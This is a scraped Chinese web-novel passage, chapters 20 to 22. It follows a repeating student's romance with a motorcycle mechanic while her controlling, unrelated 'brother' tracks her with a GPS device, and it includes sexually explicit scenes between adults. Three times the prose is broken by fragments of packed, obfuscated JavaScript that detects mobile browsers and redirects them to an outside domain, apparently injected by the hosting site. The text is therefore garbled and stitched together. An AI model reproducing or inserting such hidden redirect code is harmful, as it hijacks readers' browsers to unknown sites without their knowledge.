孟尽桀知道她这是生气了,招呼老板过来把单点好,接着深吸了一口气开始哄人。 长这么大他还没哄过女孩子。 “我跟你提过吧,我爸二婚,我妈在申城。” 他突兀开启的话题把黎予礼的目光吸引回他身上。 “他们在我很小的时候就打算分开,说什么‘过不下去了要不是为了孩子谁和你过日子’之类的话。” 孟尽桀在说这段话的时候竟是笑着的,让黎予礼不禁微微皱起眉头。 “很可笑吧?”他反问她,“好像我是阻止他们离婚的千古罪人一样,我那个时候还天真地渴望过这样的家庭能够给我哪怕不完整的爱。” 江边的风吹得人有些头痛,几乎要夺去孟尽桀的笑容。 “我曾经认为亲情是人这辈子最不能缺少的东西。”他扯了扯嘴角。 黎予礼第一次在他脸上看到失落的表情。 “……我现在也这么认为。” 他握着那枚定位器,指关节因施力而微微泛白。 “如果这个定位器是我妈装在我车上的话,我甚至会觉得她是不是很关心我在哪。” 黎予礼很想嘲笑他荒谬的想法,可她的心好像变成了他手里的定位器。 被他狠狠攥紧。 “事实上她连我是死是活都不在意。” 孟尽桀彻底失去了所有表情,空洞的眼眸里像是没有情绪。 他把定位器递给黎予礼。 这枚小小的设备现在还处在工作状态,黎予礼盯着它看了一会儿。 红色的提示灯像黎宴琛不带感情的眼神。 “他是我哥。” 她还是把这个不被法律和血缘认可的关系告诉了孟尽桀。 “表哥?” “……不是,”她摇摇头,却说不出一句解释,“就是哥哥。” 一般人反驳表堂关系,会在前面加上“亲生”两个字。 但黎予礼没这个资格。 孟尽桀看着她被晚风拂过的侧脸,发丝轻扬,她紧抿的双唇里藏着苦涩。 “你不喜欢你哥吗?”他问。 20. 落日 不喜欢? 黎予礼把孟尽桀的问题扔进脑子里思考了一番。 难以辨别的情绪突兀从心底蔓延,她硬是把“不喜欢”这三个字在唇舌间砸吧了好几遍。 “我为什么要喜欢我哥?” 黎予礼反问。 这种剥夺对方话语权的交流导向单向输出实则是回避问题的表现。 孟尽桀挑了挑眉,那双深邃的丹凤眼似乎要把她看穿。 “因为他是你哥啊,除非犯了什么不可饶恕的罪,否则家人不该被讨厌吧?” 黎予礼瞥了他一眼,再度移开视线。 指腹摩挲着定位器,有意无意地掩盖住亮红的指示灯。 “你对家人的滤镜还挺厚的。”她得出结论。 孟尽桀没有否认:“世界上没有比家人更亲密的存在了。” 她鼻息里泄出一声轻蔑的笑音。 怎么会有人24岁了还这么幼稚。 小摊老板适时端来一大碗麻辣烫,挂着红油的烫菜浸在汤里,浓郁的香味令人食欲大增。 “来咯,小心烫,一次性碗筷不够的话自己拿。”老板放下碗,捏住耳垂给被烫到的手指降温。 孟尽桀熟练地从塑料包装里拆出一次性筷子,轻轻掰开后摩擦着筷子后端,对老板笑说:“谢了,李叔。” “你又认识?”黎予礼皱眉,食欲在眼前的塑料碗里逐渐消减。 “来吃过几次。” 孟尽桀把装着麻辣烫的大碗往她面前推了推,又把磨干净了小木刺的筷子递给她。 “你直接用这个碗就行,我不嫌弃你。” “……”黎予礼接过筷子。 她逐渐意识到自己无法应对孟尽桀这副欠揍的笑脸。 “二十分钟够吗?” 他从碗里夹走了不少蔬菜,把肉都留给了她。 “……你吃东西这么快?”黎予礼夹面的手停在半空。 “嗯,”孟尽桀点点头,囫囵吞了嘴里的食物,“以前养成的坏习惯,你别学我。” 黎予礼心说谁学坏不学好。 嘴上却难得放柔了语气:“我吃饭很慢的,还会影响同桌的人。” 孟尽桀理所应当地从她话里理解出另一层含义。 “那我以后要经常跟你一起吃饭。” “……” 黎予礼没有同意。 但也没有拒绝。 “对了,那个定位器,”孟尽桀指了指被她放在桌上的圆形物件,“你打算就这么带在身上吗?” 黎予礼没工夫回答,她咬住一颗丸子,内陷烫得她张开嘴却说不出话。 “快吐出来。”孟尽桀朝她伸出手,示意她把嘴里的丸子吐到他手上。 她忽然愣了。 呆呆地看着男人焦急的神色和摊在她下巴前的手。 “快点啊别烫着了。”孟尽桀晃了晃手。 她缓慢合上双唇,用舌头把嘴里的丸子挪到齿间咀嚼。 埋头捞菜,吐字不清:“没事,不烫了。” 孟尽桀却完全吃透了她心中所想,勾唇问她:“怕弄脏我的手?” 黎予礼不说话。 甚至没有抬眼看他。 “都说了我不嫌弃你。”他把笑音塞进字句里,眼底的情绪过于明显。 黎予礼假装看不见:“我嫌弃你行了吧?” “哈哈,”他不恼反笑,“吃吧,我不闹你了。” “你吃饱了?”她难以置信地看着放下筷子的孟尽桀。 他点点头。 不开口的时候笑得让人舒心,一开口又让黎予礼无语。 “你多吃点,复读需要补脑。” “……麻辣烫能补谁的脑?” 孟尽桀放声笑了,爽朗得像挂在秋天里的铜质风铃。 黎予礼不明白他为什么总能这么开心。 明明不是什么生活特别如意的人,某种程度上看他和她也没什么区别。 不完整的家庭。 不顺利的人生。 只不过孟尽桀向往爱,而她只想逃离爱。 “你一直拿着它的话,你哥岂不是知道你都去了哪?” 黎予礼吃麻辣烫的用时比他想象中短,他提议去江边散步,借口是饭后消食。 “我不拿他应该也知道。”她把定位器踹进身上皮衣的口袋里。 孟尽桀笑不出来了:“原来你哥控制欲这么强?” 黎予礼不置可否。 “难怪你不喜欢他。”孟尽桀擅自得出结论。 她听到这话,竟下意识反驳:“我没说我不喜欢他。” 话音刚落,不仅孟尽桀怔在原地,连她也被自己说出口的话吓得愣了神。 “……我不是那个意思。”黎予礼的找补过于苍白,她以为孟尽桀会再度提出质疑。 不过他没多想:“你能跟家人好好相处的话当然最好,但如果实在不想待在一起也没必要勉强。” 她不明白这人说起话来怎么一套接一套的。 孟尽桀耸了耸肩膀:“未经他人苦不劝他人善,总之你的开心最重要。” 他说完又露出自己的招牌笑容。 黎予礼不想继续这个话题。 她不是不能和黎宴琛好好相处。 而是黎宴琛根本就不是她家人。 这个假设的先决条件不成立,没有探讨的必要和意义。 “送我回去吧。” 她主动结束了和孟尽桀的相处时间。 驱车赶回启承中学时教学楼里已经传来晚修课的预备铃声,黎予礼甚至没来得及说“再见”,赶忙摘下头盔、脱下外套扔给孟尽桀。 她因奔跑而扬起的发丝渐渐消失在夜幕里。 放学坐上司机的车回到小姨家,黎蓝瑛指着桌上的水蜜桃罐头说:“你哥晚上拿过来的,说是买给你的。” 黎予礼盯着一桌子的玻璃罐,猛然想起自己把定位器遗落在了孟尽桀的皮衣口袋里。 白拿了。 虽然她知道自己还会找孟尽桀。 “你想吃什么可以跟小姨说嘛,你哥还非要亲自买了送过来。” 黎蓝瑛吐槽的话音完全没被黎予礼听进去,她的心思又飘去那间大大的修车行里了。 “小姨我先上楼休息了。”她一边拿着手机打字一边往楼上走。 “啊?”黎蓝瑛完全状况外,“你不吃你哥买的水果罐头呀?” 黎予礼把肩膀上的书包脱下来扔到房间地板上,主动给孟尽桀发消息。 【我定位器落在你衣服口袋里了】 【要不你研究一下怎么关?】 她主要是担心黎宴琛误会她在外面过夜。 【啊还真在】 【怎么啦?为什么突然要关掉?】 孟尽桀不合时宜的好奇让她有些不耐烦。 她本不想说出“怕我哥误会”这种欲盖弥彰的傻话,但现在看来必须用胡话来搪塞他。 【因为我不想乖乖在家却被扣上夜不归宿的帽子】 【除非我真的在你那儿彻夜不眠】 直白又容易让人误解的话。 孟尽桀果然没再回复她。 但事情大概超出了黎予礼预想的发展范围,孟尽桀接连几日都不再联系她。 要不是她还有辆摔坏的自行车放在他那儿,她险些怀疑他们要相忘于江湖了。 男人主动找她是在一周后。 【(图片)】 【车我修好啦】 【什么时候有空来拿?】 黎予礼点开那张照片,图上的自行车焕然一新,仿佛和当初小姨刚买给她的时候一样。 她故意问:【修了这么久?】 把这些时日里平白无故的负面猜想变成抱怨。 每当说到什么重要的事情,孟尽桀就会用语音代替文字。 仿佛担心冰冷的消息无法传递真实情绪。 黎予礼点开他的语音条。 “我不是说过我店里没有阿普兰的原装零件吗?” “对不起宝贝,让你久等了。” “……” 黎予礼对着聊天框翻了个白眼。 还不如文字消息呢,她脑补不出孟尽桀欠揍的语气,或许就不会这么无语。 【今天有空吗?】 【我去接你?】 最适合睡懒觉的周六上午,黎予礼在学校补课。 启承中学全体高三生都被要求来学校上自习,下午才能回家休息。 她没好气地敲击屏幕打字。 【你不是毕业学长吗?】 【不知道启承周六上午要补课?】 【我记得呀】 【所以想问你上完自习后的时间可不可以分给我嘛】 【我去学校接你】 狡猾。 黎予礼把手机屏幕反扣向下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855452|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 成堆的试卷已经无法集中她的注意力了,她的思绪再度被孟尽桀夺去。 她想念昏黄的隧道,想念平直的环江路。 想坐上孟尽桀的后座。 最后一节课的下课铃响前,她把手机翻过来给孟尽桀发消息。 【来接我】 对面秒回:【已经到啦】 【(图片)】 身穿牛仔外套的男人坐在机车上和校门口的自拍照。 黎予礼的嘴角微不可查地勾起。 连她自己都没发觉。 她知道自己不能一错再错,孟尽桀的出现绝不能影响她的复读生活。 可逆反心理总是难以压抑,有个声音在心里叫嚣:错了又如何? 对啊。 错了又如何? 犯错,不正是黎宴琛不想看到的吗? 不正是黎宴琛讨厌的吗? 她收拾好书包,把没写完的卷子一股脑塞进抽屉里,踩着下课铃声跑出教室。 孟尽桀在等她。 和上次不一样。 他没在和任何人聊天,也没看向别的地方。 目光直直越过远距离,看着她一步一步走向自己。 黎予礼原本急切的步伐也在这样赤裸的视线下放慢。 她觉得自己大概是写题写糊涂了,否则怎么会生出害羞的感觉。 “接着。”孟尽桀隔着一米远就把定位器抛给她。 好在她反应够快,双手接住,瞪着他的眼神仿佛在说“摔坏了就怪你”。 “这么宝贝它?”孟尽桀读懂了她的表情含义,“总觉得你带着它兜风,像是你哥也跟着我们一样。” “……神经病。”她听到这话,差点想把定位器扔到垃圾桶里。 “不好吗?”孟尽桀又把眼睛笑成一弯月牙,“你不希望你哥知道你跟我待在一起?” 黎予礼不知道是不是自己的错觉,这话在她听来不像是疑问句,倒像是陈述观点。 也是。 孟尽桀总是很笃定。 好像他真的很了解她一样。 “上车吧,”他把头盔塞给她,“今天时间多,带你去个地方。” “去哪?” “等到了你就知道了。” 渐凉的秋意顺着机车钢管爬上黎予礼的小腿,孟尽桀的体温偏高,她下意识将她搂得更紧。 轮胎在柏油路上飞驰而过,她仿佛能够嗅到橡胶在高速摩擦下透出的难闻气味。 直到车头灯劈开浓稠的暮云,她在圆圆的后视镜里看见不断倒退的霓虹,这场充满刺激的旅程才告一段落。 孟尽桀把她带到了逾桐市一处荒凉的高地。 她差点以为男人对她起了杀心,这里方便毁尸灭迹。 “刚好赶上。”孟尽桀摘下头盔。 她抬起护目镜,不解道:“赶上什么?” “日落。”他指着远处连绵的山。 正在吞没残阳和晚霞。 她一瞬间忘了呼吸,这样的景色她长这么大还从未看到。 原来逾桐有这么美的地方。 “好看吧?”孟尽桀说这话的时候目光落在她身上。 夕阳的余晖把她的侧脸线条变得十分柔和。 她点点头,没有说话。 大概是怕打扰了落日的退场。 “你很享受飙车吧?”孟尽桀的提问明显带有预设答案,“我猜你骑自行车也喜欢骑下坡路。” “……”黎予礼睨了他一眼。 但再度被看透,她竟不觉得心情不好。 也许是风景太美。 也许是孟尽桀并不令人讨厌。 “从生理学的角度上看,其实是多巴胺在作祟。” 黎予礼并不想在这样的时刻和他探讨学术知识。 “但分泌多巴胺的办法有很多种,并不一定要通过飙车这样的危险行为来寻求刺激。” “……这句话不如说给你自己听。” 孟尽桀笑了,因为她的视线终于从落日移到他身上。 “我的意思是,你可以试试其他方式。” “比如说?还有什么方式?” 黎予礼并不是真的好奇求知,只不过看向孟尽桀时,才发现原来他的眼瞳在夕阳下变成了琥珀色。 比夕阳本身更美。 她看到他时常扬起的唇角里笑意愈深。 他说:“比如接吻。” 21. 接吻 落日会让人放松警惕。 黎予礼刚得出的结论。 因为她竟然在听完孟尽桀的话后摘下了头盔,是答应提议的讯号。 对方不出所料理解了她这个举动的含义,俯身搂住她的腰。 把她抱到车座上吻。 看似熟练的动作,嘴上却生涩得很。 她第二次被孟尽桀磕到牙时,忍无可忍结束了这个吻。 “你会不会啊?”她用手拽着他的头发,迫使他与自己拉开距离。 孟尽桀明显吃痛,嘴角还咧着笑容:“不会啊,我又没谈过恋爱。” 这句话要是在他们第一天认识的时候说,黎予礼肯定不信。 市面上擅长处理人际关系的男人多半都是情场老手。 但经过刚才那一吻,黎予礼确信这个接吻的时候连舌头都不会放的男人应该连异性的手都没碰过。 哦。 除了她以外。 “那你教教我。” 孟尽桀觍着脸凑上前,温热的鼻息扑打在她上唇。 远处漆黑的山脉已然吞没夕阳,徒留残余的霞光染上几朵被风吹散的云。 那云好似朝他们散开。 黎予礼只觉得眼前逐渐变得模糊,思绪也停滞了,孟尽桀所说的多巴胺实在害人。 可她骑车下坡的时候不觉得,飙车兜风的时候也不觉得。 为什么偏偏在这个并不能算得上缠绵的吻里失了神智。 黎予礼想不通。 想不通为什么会有人总是笑着。 更想不通为什么自己会被这个笑容吸引。 直到孟尽桀未经她允许,轻轻啄了一下她的嘴角,她才明白。 原来是因为想接吻。 她拽着孟尽桀的牛仔外套衣领将他拉近,主动权完全在她手里。 从双唇贴合的角度到舌尖舔舐的力道,她毫无保留地教给孟尽桀。 男人很快出师。 黎予礼并不了解关于“多巴胺”的知识理论,毕竟高考不考。 她如果知道的话,就会懂得在接吻时唇部密集的神经末梢会将触觉信号传递至大脑伏隔核,触发多巴胺洪峰。 而如此唇舌缠绵的热吻所带来的多巴胺分泌量是日常活动的3倍。 她一下忘了其他能够带给她快乐的方式。 只想接吻,只想继续接吻。 孟尽桀一手搂着她的腰,一手托在她颈后,而这样令人快速产生愉悦的行为还是让她的身体逐渐瘫软。 她几乎快被他压在机车上吻。 暮色初合,视觉功能在较暗的环境里被迫减弱,其余身体感官则被完全调动。 黎予礼抬手攀上他肩颈,喉间溢出一丝轻哼,是她被吻得舒服的表现。 虽然吻技远算不上娴熟,但学习态度可圈可点。 她很满意。 甚至愿意就“多巴胺”的议题深入讨论。 “不是接我去取车的吗?” 她故意对着孟尽桀滚动的喉结喘气。 “回修车行吧。” * 这不是她第一次进孟尽桀的房间。 上次他盛情邀约,这次他盛情难却。 原本干净整齐的桌面上摆放着一些日常用品,但它们现在全被扫到底下,发出跌落的声响。 也掩盖不住两人接吻时的水渍声。 孟尽桀单手托着她,确认桌面空无一物后才缓慢把她放下。 两人的唇瓣始终没有分离。 是略带急切的,是难以压抑的。 孟尽桀知道她想要什么。 他当然愿意毫无保留地给。 黎予礼抬腿勾住他的腰,仰头的姿势让他们彼此更为贴近。 他忽然在自己过于整洁的房间里意识到一个很严重的问题。 这里什么也没有。 “……等等。”他十分不情愿地退离。 黎予礼很是不满:“你如果要说什么你年龄还小、还是学生的屁话,我会立马带着我的自行车离开并且再也不会让你见到我。” “……”孟尽桀不说话了。 因为她说得也有道理。 “我说过我是成年人,且复读生和在读大学生一样拥有高中学历,在哪个平台都能合理、合规、合法地谈恋爱吧?” 黎予礼说完还用膝盖顶了顶孟尽桀的大腿。 男人疼得倒吸一口凉气,却被她的话逗笑:“哈哈,你的意思是,你想跟我谈恋爱吗?” 他问完又立刻凑上去吻她,生怕她给出否定答案似的。 好在黎予礼意不在此,被他吻得心情不错,随口搪塞了一句“我只是举例说明”。 孟尽桀舔去她唇上晶莹,露出难以餍足的神色。 “我刚刚是想说,我这儿什么都没有。” “啊?”黎予礼一下子没反应过来。 “就是,”孟尽桀耳根红得发烫,“那些东西。” “……” 还真是纯情货色。 黎予礼无奈地笑了,嘴角勾起好看的弧度,惹得孟尽桀又想吻她。 她推了推他的肩膀,指着门外说:“你去翻一下我书包最里面的夹层。” 孟尽桀听话照做,走出去把挂在他机车车头处的书包拎进来。 黎予礼不知道他这是注重别人隐私,还以为他连个避孕套都找不见。 孟尽桀见她利落地拉开拉链,从包里套出一个拆过外塑封的盒子。 他一下呆滞了。 “……你还随身带这个?” 黎予礼把书包随便扔到一旁,这还是之前为了气黎宴琛随便买的。 没用完,就一直藏在夹层里。 “怎么?觉得我这个人不知检点?”黎予礼撩了撩头发,把盒子扔给他。 “你现在后悔还来得及,我会立马带着我的自行车离开并且再也不会让你见到我。” 她又重复这句话。 仿佛在宣判忤逆她的后果。 孟尽桀当然不会让这样的事情发生,当然也不会因为书包里装着避孕套而对黎予礼产生任何负面印象。 “不要,”他两指伸入盒子里,捏出一个塑料包装,“不要这样惩罚我。” 他求饶似的去吻黎予礼的颈侧。 “这只会让我更喜欢你。” 温润的触感痒得她瑟缩,男人直白的情话让她心下一颤。 也许他们早在高速行驶的车流中暴露过自己赤裸的欲望,但彼此心照不宣地将它生生捱下。 从未有一刻,像现在这样张扬。 像这样坦诚,炽烈,缱绻。 黎予礼躺在那张底下垫着轮胎的床上,心想这也不比家里乳胶床垫差。 但也可能是因为她把孟尽桀当成了人形靠枕,结实的肌肉当然会令人感到舒服。 “肚子饿吗?”孟尽桀低头吻她微微湿润的碎发。 她摇摇头,嘴里说着胡话:“刚刚还问我‘怎么就吃不下了’,现在又问我饿吗,你人格分裂啊?” 孟尽桀笑而不语。 她干脆闭目养神,运动使人快乐但也带来疲惫。 可惜事后温存不到十分钟,她放在背包里的手机突兀响起来电铃声。 “我去帮你拿。”孟尽桀翻身下床。 紧实的背肌上是她方才抓挠留下的痕迹。 孟尽桀看到屏幕上的来电显示,说:“你哥打来的。” 黎予礼倏然清醒,很快撑着上半身坐起,伸手接过手机。 不情不愿地摁下接听键:“喂。” 黎宴琛的声音听上去十分平静:“司机说没接到你,小姨也说你还没回家。” “嗯。”她惜字如金。 “你在哪?”黎宴琛问得好像他真的不知道答案一样。 黎予礼握着手机的力度渐大。 她没好气地反问:“我在哪你不知道吗?” “什么?”黎宴琛可能真的不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855453|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你自己看啊,”黎予礼对着手机话筒“嗤”了一声,“你不是打开手机就能知道我在哪吗?” “……”黎宴琛不说话了。 看不到他隐忍的表情,她越发来劲:“看到了吗?我在哪?” 黎宴琛没有回答:“早点回家,小姨说她让家政做了你最爱吃的菜。” “那你帮我跟小姨说一声,”她朝孟尽桀招招手,示意他过来,“我晚上不回去吃了。” 电话那头的黎宴琛哪里想得到妹妹在做什么。 还关切地问:“为什么?你和同学在外面吃——” “啵。” 黎予礼故意用力亲了一下孟尽桀,湿润的唇瓣相碰,发出清亮的声响。 打断了黎宴琛的问话。 电话那头瞬间沉默。 徒留无声的电波。 她还觉得不够,微微仰头露出白皙的锁骨窝,引诱眼前的男人在上面留下杰作。 “因为我已经吃饱啦。” 她用着古灵精怪的语气,说完便挂了电话。 孟尽桀一边吻着她裸露在外的肌肤,一边抬眼看她的反应。 见她把手机扔到一旁,才凑到她耳边问:“你故意的吧?” “……知道还问。”黎予礼不满他忽然停下动作,皱眉瞪他。 原来让人看穿也不是什么坏事,只一个眼神,孟尽桀就心领神会,埋头向下。 她又瘫软回这张并不算特别舒服的床上。 让她舒服的另有其人。 其实黎予礼不觉得自己在犯错。 但给自己按上“犯错”的罪名会让她感到刺激。 比飙车更让人上瘾。 她现在恨不得回到高三那个无法无天、总在逃课的日子里,但她那位自诩过来人的对象总是监督她学习。 在学校让她好好听课。 在床上让她劳逸结合。 “好赖话都让你说了。” 黎予礼倒进他怀里,闻到他身上有淡淡的烟草气息。 “哎呀,高考第一我第二,等你考完我再补偿你嘛。” 哪有人主动把自己排在后面的。 她懒懒地掀起眼皮,转移话题:“你今天抽烟了?” “没,”孟尽桀摇头,他以前烟瘾就不大,“我已经戒了。” “那你身上为什么有烟味?” 他举手作投降状:“红毛在店里抽的,我要是抽了身上就不止这点味儿了。” 黎予礼没有怀疑他这话的真实性,反而好奇:“为什么戒烟?” 他像是一直期待她问这个问题似的,笑容狡猾,假扮大尾巴狼:“因为知道你有一天会躺在我怀里。” “……神经病。” “好啦,说认真的,二手烟危害太大了,不想让你被我熏到。” 黎予礼倒是没意见。 虽说家里没人抽烟,但偶尔会从应酬回来的黎宴琛身上闻到一些烟草味。 她不算排斥。 但也不喜欢。 “抽烟是什么感觉?”她问。 孟尽桀没想到她会好奇这个:“你想试试?” 她竟真的点了点头。 孟尽桀立马拒绝:“别,会呛到,不好受。” 黎予礼懒得跟他废话,翻身骑到他腹上,把手伸到他面前,手心朝上。 “你给我一支。” “不给。” “……” 孟尽桀试图用语言描述来打消她想抽烟的念头:“没有你想象中的那种感觉,你抽进咽喉的时候可能会有轻微刺痛感,掌握不好技巧的话更容易引发呛咳。” “抽烟要什么技巧?” 这次轮到她碰上未知领域了。 孟尽桀耐心解释:“节奏啊,呼吸控制啊,再比如过不过肺之类的。” 黎予礼听不懂。 但她想体验一下孟尽桀曾经做过的事情。 “那你教教我。”她说。 22. 住宿 科学研究表明,人类大脑并非依赖物理时钟感知时间,而是通过记录事件数量和神经活动强度来主观判断时长。 对黎予礼来说,能和孟尽桀一起做的事情太多太多,大脑神经活动也前所未有地强烈。 她开始觉得时间过得太快了。 孟尽桀搭着她,行驶在川流不息的车群里,却不想时间还是追上了他的引擎。 逾桐市的冬天像一杯快速降温的冷茶,袅袅的雾气散去,留下远处山脉的棱角在寒风中愈发锐利。 不知不觉间,黎予礼已经和孟尽桀一起看了十九次日落。 有时天不晴。 有时心难宁。 有时在修车行的破铜烂铁里听雨声淅淅沥沥,水滴落在身体上漾起涟漪。 有时在孟尽桀的结实怀抱里情难自已地喘息,像窗外天气那样翻云覆雨。 黎予礼觉得孟尽桀很幸运。 能遇到这个年纪的她。 修车行和启承私立中学之间的距离对她来说好像也被无限拉长。她经常希望自己在学校的时间少一些,在孟尽桀车后座的时间多一些。 对此孟尽桀义正言辞表示拒绝,理由是她必须把学习放在第一位。 “我不能耽误你学习。”他抱着她说,亲密的动作未免太没有说服力。 黎予礼点头:“我可以耽误你工作。” “哈哈。”他又被她逗笑,总是很轻易地、毫无防备地对她露出尖尖的虎牙。 修车行的机油味偶尔会蔓延到房间里来,孟尽桀特意去买了一款据说能够助眠的香薰。 黎予礼闻了之后没说什么,只觉得还是黎宴琛房间里的桃子味更好闻。 不过这张下面垫着轮胎的床已经被她睡习惯了,像现在这样躺在孟尽桀臂弯里会让她感到极为放松。 “复读应该很辛苦吧?”孟尽桀几乎天天把这句话挂在嘴边。 黎予礼听得耳朵都快起了茧:“辛不辛苦都是我自己选的。” 男人闻言露出一副欣慰的表情,搂在她腰际的手不安分地开始给她按摩。 不过这样的力道对她来说和撩拨没区别。 “对了,”她懒懒地掀起眼皮,“我是可以考驾照的对吧?” 基础准驾车型年龄要求18周岁以上,黎予礼完全符合。 孟尽桀低头看她:“你想学车?” 她“嗯”了一声,又倒回他怀里闭目养神,“想开你那架车。” “啊?”他微微支起上半身,神情似是有些惊讶,“我还以为你说的是四轮车呢。” “四轮车没意思。”她淡淡道。 反正黎宴琛那辆宾利坐起来就很没意思。 “但是摩托车不太安全,”孟尽桀想劝她三思,“人家是铁包肉,我们是肉包铁。” “不安全你还载我?” “有我在你就是安全的。” 不知道为什么这句话让黎予礼有些不舒服,她坐起身离开孟尽桀的怀抱。 挺直的脊背透着倔:“连你都能确保我的安全,那我自己更不会把自己置于危险。” 孟尽桀没打算和她争执,凑上去从背后抱住她,脑袋搭在她肩膀上,柔声答应:“你想学我就教你,或者替你找一个更好的驾校教练。” “你教我?”黎予礼偏头挑眉。 他下巴轻轻抵着她颈窝,点头的动作弄得她有些痒。 “上次让你教我抽烟还一百个不情愿。”她向来记仇,旧事重提。 他对比自己小五岁的人撒起娇来也毫不含糊:“抽烟有害身体健康嘛宝贝,我们应该多做对身心有益的事情。” “比如说?”黎予礼失笑,确实很吃他这套,“飙车兜风看日落?还是……” 她故意耸起肩膀,把他的脑袋顶起来,再凑上去轻轻咬住他耳垂,把那两个字音悄悄送进去。 孟尽桀分不清自己的耳朵是被她咬红的还是羞红的。 他总是心甘情愿地上钩。 “好了我该走了。”黎予礼并不打算奖励他,拍拍屁股下了床。 她捡起散落在地上的外套,衣物不知何时沾上了些许机油的味道。 不算难闻。 她没太在意。 “今天走这么早?”孟尽桀满眼失落。 以往周六下了自习课坐着专属接驾来到这里,黎予礼会待到晚上九点左右,再不济也是天黑才走。 还被红毛开玩笑说是从不落下水晶鞋的公主。 “我小姨和我哥打报告了,说我每个周末都在外面待到很晚才回家。”她正在穿袜子,脚边的鞋东一只西一只。 孟尽桀翻身下床,单膝蹲到她腿边,一边替她托着鞋底一边问:“你不是说你把定位器挂在书包上就是为了让你哥知道你在哪里鬼混吗?” 她那天突发奇想,让孟尽桀帮她给定位器找个挂绳,她要时刻栓在书包拉链上。 于是它代替了那枚手工钥匙扣。 “是,”黎予礼穿好鞋子站起来踏了两下地板,“但他好像揣着明白装糊涂,压根没问过什么。” “那你还特意这么早回去?” “舍不得我啊?” 黎予礼拎起书包,见他完全没有要出门的意思——她还得靠他骑车送呢。 “我舍不得的话你可以多待一会儿吗?”孟尽桀上半身还赤裸着,裤子松松垮垮地挂在腰际,露出清晰的人鱼线。 他平时就是用这副不要脸的模样让黎予礼心软。 但她今天心似铜墙铁壁,面对男人明晃晃的勾引,毫不动摇:“你不送我的话我自己打车了。” “送,我送。”妥协的永远是孟尽桀。 她看着男人穿衣服的动作,悠悠开口:“我是怕我哥找你麻烦。” “……找我麻烦?”孟尽桀刚穿上自己的皮衣外套,下意识耸动肩膀。 黎予礼只是随口一说。 如今的她完全想不到黎宴琛会做什么。 “反正我高考结束那会儿谈恋爱他挺生气的,”她扁了扁嘴角,“更何况我现在还在备考阶段,他可能会觉得我‘不务正业’吧。” 孟尽桀忽然眯起眼,仿佛在回忆那天黎宴琛来修车行带走黎予礼时的画面。 沉默半晌,他说:“你哥对你是不是……” 未尽的话语里是荒谬的猜测。 黎予礼难得没有读懂他眼神里的复杂情绪,双手抱臂靠在房间门口问:“是什么?管太多?” 孟尽桀没有接话,她自顾自往下说:“他就是这样的,自从我们失去双亲后他就一直这么管着我。” 她一直把黎宴琛对她密不透风的爱归结于他们彼此年幼丧亲,直至知晓他们彼此之间没有血缘关系的那一刻。 但不知为何她对孟尽桀有所隐瞒。 也许是那日黎宴琛抱着她说的话让她意识到这段虚假的兄妹关系或许太过扭曲。 她不想让孟尽桀知道她活在这样畸形的家庭里。 不想让孟尽桀知道她的弱点。 “……啊。”孟尽桀重点偏移。 他从未听黎予礼提起过家人,除了黎宴琛。 “对不起啊,我不知道……” 黎予礼打断他道歉:“我就是不想听你说‘对不起’才一直没告诉你。” 从小到大,每每谈及妈妈和爸爸的离世,她都会看到别人露出这样的神情。 也许是惋惜,也许是可怜。 更多的是抱歉。 但她不明白为什么要感到抱歉,又不是他们害得她没了双亲。 所以在关于家人的话题上,她通常只会表明自己有一个哥哥,其余不再赘述。 “走吧,我送你回去。” 孟尽桀深吸一气,整理好思绪,又换上自己的招牌笑容。 黎予礼满意地点点头。 满意他的边界感,满意他的闭口不谈。 她在和孟尽桀的交往中认识到亲密关系并不需要毫无保留地付出,但可以毫不保留地享受。 毕竟是由多巴胺带来的愉悦,只要能主导,就没必要较真。 孟尽桀几乎对她言听计从,除了在学习上。 她时常怀疑自己找了个监督员当男朋友,除了掐表盯她学习外,偶尔还兼职辅导一些老师讲评略过的题目。 如果她在上课的时候开小差给他发消息,那绝对会遭到严肃对待。 具体措施是孟尽桀会把机车开得比电驴还慢。 不过这招对黎予礼来说挺受用的,为了能够好好享受飙车,她已经完全戒掉了上课玩手机的坏习惯。 过程虽有不满,但在看到自己一模成绩较之前次提高了五十多分时,黎予礼不得不承认孟尽桀的“劳逸结合法”确实有效。 她趁下课时间掏出手机,把成绩条拍给他看。 【(图片)】 【夸我】 孟尽桀隔了大概五分钟才回复。 【刚刚在修车】 【进步这么大!】 【晚上想去哪儿玩?我载你】 黎予礼看着手机屏幕微微勾唇,心情大好,但偏偏想要使坏。 【今晚还有小测欸】 【来不及的吧】 孟尽桀:【以我的车速去哪来不及?】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855454|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她笑意更深,却故意让他吃瘪。 【不说了】 【要上课了】 【我男朋友不让我上课玩手机】 光是想象一下孟尽桀看到消息时的表情,枯燥的英语课也能变得有趣。 她不再厌烦复读生活。 